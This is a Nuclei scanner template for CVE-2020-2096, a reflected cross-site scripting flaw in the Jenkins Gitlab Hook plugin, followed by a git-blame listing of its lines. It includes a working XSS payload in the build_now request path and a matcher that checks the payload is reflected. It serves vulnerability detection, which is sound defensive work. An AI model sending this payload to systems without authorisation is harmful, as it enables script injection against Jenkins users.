nuclei-templates/cves/2020/CVE-2020-2096.yaml

id: CVE-2020-2096

info:
  name: Jenkins Gitlab Hook XSS
  author: madrobot
  severity: medium
  description: Jenkins Gitlab Hook Plugin 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected XSS vulnerability.
  reference:
    - https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
    - http://www.openwall.com/lists/oss-security/2020/01/15/1
    - http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
  tags: cve,cve2020,jenkins,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/gitlab/build_now%3Csvg/onload=alert(1337)%3E"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<svg/onload=alert(1337)>"
        part: body
misc changes 2021-01-02 04:56:15 +00:00			`id: CVE-2020-2096`
Create CVE-2020-2096.yaml 2020-04-08 10:59:57 +00:00
			`info:`
			`name: Jenkins Gitlab Hook XSS`
			`author: madrobot`
Update syntax 2020-05-25 07:49:06 +00:00			`severity: medium`
Add description 2021-03-10 10:53:21 +00:00			`description: Jenkins Gitlab Hook Plugin 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected XSS vulnerability.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Missing references 2021-03-10 11:31:41 +00:00			`- https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683`
			`- http://www.openwall.com/lists/oss-security/2020/01/15/1`
			`- http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html`
Added tags to cves :sunglasses: (#813) * Added tags to cves :sunglasses: 2021-02-05 19:44:41 +00:00			`tags: cve,cve2020,jenkins,xss`
Create CVE-2020-2096.yaml 2020-04-08 10:59:57 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/gitlab/build_now%3Csvg/onload=alert(1337)%3E"`
Fixed default condition OR to AND in false-positives 2020-07-08 11:38:57 +00:00			`matchers-condition: and`
Create CVE-2020-2096.yaml 2020-04-08 10:59:57 +00:00			`matchers:`
			`- type: status`
			`status:`
Update syntax 2020-05-25 07:49:06 +00:00			`- 200`
updating this to avoid f/p result. 2020-04-08 14:42:57 +00:00			`- type: word`
			`words:`
Update syntax 2020-05-25 07:49:06 +00:00			`- "<svg/onload=alert(1337)>"`
Create CVE-2020-2096.yaml 2020-04-08 10:59:57 +00:00			`part: body`